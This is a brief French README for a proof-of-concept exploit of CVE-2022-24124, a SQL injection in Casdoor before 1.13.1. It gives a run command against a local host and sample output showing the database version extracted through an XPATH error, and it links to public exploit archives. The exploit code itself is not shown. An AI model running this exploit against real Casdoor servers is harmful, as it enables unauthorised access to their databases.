POC pour CVE-2022-24124

Code d'exploitation pour CVE-2022-24124 alias Injection SQL Casdoor

Liens d'exploitation : [ExploitDB-50792] [PacketStormSecurity]

Résultat attendu : Extraire la version de la base de données SQL sur l'hôte exécutant Casdoor < 1.13.1

Conçu uniquement pour l'éducation et les tests dans des environnements d'entreprise.

Utilisation de l'exploit

Barricade➜ go run exploit.go -u http://127.0.0.1:8080

-=Casdoor SQL Injection (CVE-2022-24124)=-
- by Mayank Deshmukh (ColdFusionX)

[*] Dumping Database Version
XPATH syntax error: .12-MariaDB-0+deb11u1